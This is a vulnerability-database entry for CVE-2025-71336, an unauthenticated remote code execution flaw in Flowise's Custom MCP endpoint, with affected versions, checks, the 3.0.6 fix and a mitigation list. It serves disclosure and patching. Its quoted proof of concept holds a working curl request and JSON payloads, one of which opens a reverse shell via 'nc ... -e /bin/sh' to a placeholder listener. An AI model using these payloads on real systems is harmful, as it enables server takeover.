---
id: "CVE-2025-71336"
kind: "vulnerability"
aliases: ["CVE-2025-71336", "GHSA-6933-jpx5-q87q"]
title: "Flowise has unsandboxed remote code execution via Custom MCP"
severity: "critical"
cvss: 9.8
epss: 0.01148
exploited: false
status: "open"
category: "package"
products: [{"name": "flowise", "fixed": ["3.0.6"], "affected": ">= 2.2.7-patch.1, < 3.0.6", "ecosystem": "npm"}, {"name": "flowiseai flowise", "fixed": ["3.0.6"], "affected": "< 3.0.6", "ecosystem": "vendor"}]
ecosystems: ["npm", "vendor"]
tags: ["cwe-78", "cwe-862", "docker", "flowise", "mcp", "npm", "package", "self-hosted"]
not_affected_if: ["auth-required", "fixed-version"]
published_at: "2025-09-15T20:30:30+00:00"
first_seen_at: "2026-11-03T17:36:46+00:00"
updated_at: "2026-11-03T17:52:24+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-6933-jpx5-q87q", "first_seen_at": "2026-11-03T17:36:46+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71336", "first_seen_at": "2026-11-03T17:52:24+00:00"}]
---

# Flowise has unsandboxed remote code execution via Custom MCP

Flowise's Custom MCP feature starts local MCP servers through commands such as npx, and the node-load-method endpoint passes attacker-supplied command and arguments to it without a sandbox. A request to that endpoint can run arbitrary system commands on the server, including a reverse shell, which gives full control of the container or host.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:flowise affected >= 2.2.7-patch.1, < 3.0.6 fixed 3.0.6
- vendor:flowiseai flowise affected < 3.0.6 fixed 3.0.6

## How to check

- Check the installed Flowise version with `npm ls flowise` and confirm whether it falls in the affected range `>= 2.2.7-patch.1, < 3.0.6`.
- Check whether `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` are set in the environment, since the advisory says the default install runs without authentication unless they are configured.
- Check whether the Custom MCP feature is reachable from outside the network.

## Fix

- flowise: `3.0.6`

## Timeline

- 2026-11-03T17:36:46+00:00 ghsa https://github.com/advisories/GHSA-6933-jpx5-q87q
- 2026-11-03T17:52:24+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2025-71336

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/FlowiseAI/Flowise/security-advisories/GHSA-6933-jpx5-q87q
- [advisory] Maintainer's advisory: github.com https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6933-jpx5-q87q
- [advisory] Third-party advisory: www.vulncheck.com https://www.vulncheck.com/advisories/flowise-unsandboxed-remote-code-execution-via-custom-mcp
- [fix] Patch: github.com https://github.com/FlowiseAI/Flowise/pull/5201
- [fix] Patch: github.com https://github.com/FlowiseAI/Flowise/commit/ac7cf30e019cde54905bf09b5d3fe1c6ba42f9b9
- [fix] Release: github.com https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6

## From the sources

### Summary
The Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, the default installation of Flowise operates without authentication unless explicitly configured using the `FLOWISE_USERNAME` and `FLOWISE_PASSWORD` environment variables.

This combination presents a significant security risk, potentially allowing users on the platform to execute unsandboxed system commands. This can result in Remote Code Execution (RCE) and complete compromise of the running platform container or server.

### PoC
1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as `npx`, `pnpm`, etc):
   https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker

2. Create a new file named `payload.json` somewhere in your machine, with the following data:
```
{"inputs":{"mcpServerConfig":{"command": "touch","args": ["/tmp/yofitofi"]}},"loadMethod":"listActions"}
```

3. Send the following `curl` request using the `payload.json` file created above with the following command:
```
curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
```

4. Observe that a new file named `yofitofi` is created under `/tmp` folder.

Similarily, we can use the same technique to gain a reverse shell using the built-in `nc` utility with the following JSON payload:
```
{"inputs":{"mcpServerConfig":{"command": "nc","args": [
"<LISTENER_IP_ADDRESS>","<LISTENER_PORT>","-e","/bin/sh"
]}},
"loadMethod":"listActions"}
```

![Pasted image 20250420132335](https://github.com/user-attachments/assets/b41093b9-a0d7-415e-bf9b-b8cbce7183d6)

### Impact
Remote code execution

### Mitigation
- Consider adding additional access controls surronding sensitive functionality such as Custom MCP, e.g. only users with "Admin" roles will be able to configure new Custom MCPs within the platform.
- Consider disabling the Custom MCP feature by default, with a clear disclaimer for end users on the implications of enabling this feature.
- Consider running Custom MCPs within a sandboxed environment

### Credit
The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
